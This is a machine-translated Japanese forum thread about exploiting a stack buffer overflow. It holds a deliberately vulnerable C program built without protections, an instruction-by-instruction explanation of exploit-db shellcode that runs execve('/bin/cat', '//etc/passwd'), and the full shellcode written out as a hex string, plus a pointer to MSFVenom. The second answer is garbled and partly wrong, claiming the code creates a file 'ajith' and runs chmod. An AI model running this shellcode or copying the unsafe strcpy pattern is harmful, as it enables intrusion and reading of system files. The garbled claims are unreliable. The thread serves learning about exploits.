バッファオーバーフローの悪用を試すのは、ほとんど初めてです。バッファオーバーフローに対して脆弱な簡単なCプログラムを作成しました。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main()
{
char* filename = getenv("filename");
char buff[128];
strcpy(buff, filename);
}
Ubuntu Server 10.04(i386)でこのようにコンパイルしました
gcc vuln.c -o vuln -z execstack -fno-stack-protector
リターンアドレスを上書きするためにファイル名に必要なバイト数を確認した後、さまざまなタイプのシェルコードを挿入しようとしました(そのため、NOPスライド+シェルコード+アドレスを渡して、NOPスライドがファイル名環境変数を通過するようにします)。何らかの理由で、execve bin/shの一般的なバリエーションにより、独自のコード内でセグメンテーション違反が発生しましたが、奇妙な特定のシェルコードの1つが実際に機能しました。
から取得https://www.exploit-db.com/exploits/38116/ execveに/ etc /で/ bin/catを実行するように要求しますパスワード
Disassembly of section .text:
08048060 <.text>:
8048060: eb 1f jmp 0x8048081
8048062: 5b pop %ebx
8048063: 31 c0 xor %eax,%eax
8048065: 88 43 0b mov %al,0xb(%ebx)
8048068: 88 43 18 mov %al,0x18(%ebx)
804806b: 89 5b 19 mov %ebx,0x19(%ebx)
804806e: 8d 4b 0c lea 0xc(%ebx),%ecx
8048071: 89 4b 1d mov %ecx,0x1d(%ebx)
8048074: 89 43 21 mov %eax,0x21(%ebx)
8048077: b0 0b mov $0xb,%al
8048079: 8d 4b 19 lea 0x19(%ebx),%ecx
804807c: 8d 53 21 lea 0x21(%ebx),%edx
804807f: cd 80 int $0x80
8048081: e8 dc ff ff ff call 0x8048062
8048086: 2f das
8048087: 2f das
8048088: 2f das
8048089: 2f das
804808a: 62 69 6e bound %ebp,0x6e(%ecx)
804808d: 2f das
804808e: 63 61 74 arpl %sp,0x74(%ecx)
8048091: 23 2f and (%edi),%ebp
8048093: 2f das
8048094: 65 74 63 gs je 0x80480fa
8048097: 2f das
8048098: 70 61 jo 0x80480fb
804809a: 73 73 jae 0x804810f
804809c: 77 64 ja 0x8048102
804809e: 23 41 4a and 0x4a(%ecx),%eax
80480a1: 49 dec %ecx
80480a2: 54 Push %esp
80480a3: 48 dec %eax
80480a4: 41 inc %ecx
80480a5: 4a dec %edx
80480a6: 49 dec %ecx
80480a7: 54 Push %esp
80480a8: 48 dec %eax
80480a9: 4b dec %ebx
80480aa: 50 Push %eax
さて、ここに表示されるのはobjdump出力であり、私が見つけられなかった実際の元のアセンブリではありません。/bin/catおよび/ etc/passwd文字列は、これらすべての「2F」オペコードの後にあるようです。このオペコードを簡単に読むと、
Adjusts the result of the subtraction of two packed BCD values to create a packed BCD result.
しかし、それが何を意味するのか、またはこれがシェルコードにどのように寄与するのかはわかりません。誰かがそれを説明しようとすることができますか?
以前に絶対アドレスに依存するシェルコードを試したことがある場合は、クラッシュの原因となっている可能性があります。このシェルコードは、call
を使用して絶対スタックポインターアドレスを取得し、他のスタックを変更せずにバッファーをインプレースで変更するため、存続します。
完全に理解するために、何が起こっているかを確認することは例示的なものになるかもしれません、linearly:
8048060: eb 1f jmp 0x8048081
短い相対ジャンプ( eb
)を前方に実行します(命令の実行後の現在の命令ポインタは0x8048081 + 2です。それに0x1fを追加すると、0x8048081次の命令として)。
8048081: e8 dc ff ff ff call 0x8048062
( e8
)を0x8048081 + 5の次の命令に対して-36(0xffffffdcの符号付き整数)のオフセットで呼び出し、0x8048062。 call
は、次の命令(0x8048086)をスタック上の戻りアドレスとしてプッシュすることに注意してください。
8048062: 5b pop %ebx
8048063: 31 c0 xor %eax,%eax
スタックから戻りアドレスを削除し、ebxレジスタに0x8048086を格納します。次に、eaxレジスタをゼロに設定します。次に、戻りアドレスに続くデータの16進ダンプを見てみましょう。
00000000: 2f2f 2f2f 6269 6e2f 6361 7423 2f2f 6574 ////bin/cat#//et
00000010: 632f 7061 7373 7764 2341 4a49 5448 414a c/passwd#AJITHAJ
00000020: 4954 484b 50 ITHKP
明らかに、これらは指示ではありませんが、逆アセンブラーはそれを知りませんでした。
8048065: 88 43 0b mov %al,0xb(%ebx)
alは8ビットのl0を含むeaxレジスタの後半なので、この命令は上記のデータの11番目の位置を上書きし、#
を置き換えますNULバイト(////bin/cat
の後)。
NULバイトをデータに直接エンコードしないのはなぜですか?まあ、バッファは最初のNULバイトまでコピーされることが多いので、シェルコードにNULバイトが含まれていると、完全にコピーされません。ダミー値をエンコードして後で上書きすることにより、この制限が回避されます。
8048068: 88 43 18 mov %al,0x18(%ebx)
同様に、これは2行目の#
をゼロに設定します(//etc/passwd
の後)。
804806b: 89 5b 19 mov %ebx,0x19(%ebx)
これにより、上記のデータ(オフセット0x19)のAJIT
が(////bin/cat
で始まる)バッファーのアドレスで上書きされます。 ebxは32ビットのレジスタなので、実際には4バイトを上書きすることに注意してください。
804806e: 8d 4b 0c lea 0xc(%ebx),%ecx
8048071: 89 4b 1d mov %ecx,0x1d(%ebx)
これにより、//etc/passwd
(オフセット0xc)のアドレスがecxレジスタに読み込まれ、HAJI
(オフセット0x1d)がこの値で上書きされます。
8048074: 89 43 21 mov %eax,0x21(%ebx)
THKP
(オフセット0x21)を4つのゼロバイトで上書きします。
ここで、引数(ebpレジスターが指す)が32ビットアドレス0xffff0000にあると仮定します。上記のスタックの変更により、データは次のようになります。
00000000: 2f2f 2f2f 6269 6e2f 6361 7400 2f2f 6574 ////bin/cat.//et
00000010: 632f 7061 7373 7764 0000 00ff ff0c 00ff c/passwd........
00000020: ff00 0000 00 .....
または、絶対メモリアドレスを使用して、より読みやすい形式で記述します。
"////bin/cat"
"//etc/passwd"
execve
システムコール( sys_execve(char *filename, char **argv, char **envp)
)の引数のようです。 x86アーキテクチャの場合、 パラメータが渡されます レジスタebx、ecx、edxを介して、システムコール番号がeaxレジスタを介して渡されます。したがって、最初の引数(ebx)は////bin/cat
文字列(0xffff0000)を指します。
8048077: b0 0b mov $0xb,%al
Syscall番号を11に設定します( x86の場合はsys_execve )。
8048079: 8d 4b 19 lea 0x19(%ebx),%ecx
2番目の引数を引数リストのアドレス(0xffff0019)に設定します。この例では、2つの文字列とNULLポインターが含まれています。 (////bin/cat
、//etc/passwd
、NULL)。
804807c: 8d 53 21 lea 0x21(%ebx),%edx
3番目の引数を環境変数のアドレス(0xffff0021)に設定します。この例では、NULLターミネーターのみが含まれています。
804807f: cd 80 int $0x80
そして最後に、syscallを呼び出します。事実上、このコードはこのCスニペットと同じでした:
char *argv[] = {
"////bin/cat",
"//etc/passwd",
NULL
};
char *envp[] = {
NULL
};
execve(argv[0], argv, envp);
あなたが投稿したアセンブリは、あなたが言ったようにシェルコードではなく、むしろシェルスクリプトの解凍と実行です。
実行されているシェルコードは\xeb\x1f\x5b\x31\xc0\x88\x43\x0b\x88\x43\x18\x89\x5b\x19\x8d\x4b\x0c\x89\x4b\x1d\x89\x43\x21\xb0\x0b\x8d\x4b\x19\x8d\x53\x21\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x63\x61\x74\x23\x2f\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x41\x4a\x49\x54\x48\x41\x4a\x49\x54\x48\x4b\x50
このシェルコードは単に/bin/cat /etc/passwd
コマンドを実行してajithという名前のファイルを作成し、chmod
を7775に
Exploit-DBページに存在するコードに基づいて、ビットの「オフセット」があるかのように表示されず、特定のメモリ位置にプッシュしようとせずに、シェルコードをそのまま実行します。 Cコードには「バッファ」オフセットがないようで、コードに基づいて、バッファは128バイトのように見えます。あなたのエクスプロイトコードがバッファオーバーフローの脆弱性を悪用していないことを私が知ることができるように、75ビットのシェルコードと128バイトのバッファがあるので、実行することができます。
単純なバッファーオーバーフローの例では、ESPレジスター(この例では128 Aとします))に到達するためにダミー文字の束を投げ、シェルコードを実行します。アプリケーションをファジングし、それに応じてエクスプロイトを調整するために必要なオフセットの正しい位置。
独自のシェルコードを生成することに関して、私は MSFVenom を見ることをお勧めします。これにより、シェルコードを簡単に調整して、希望する正確なコマンドを実行し、可能な限り短いコード長で作成することができます。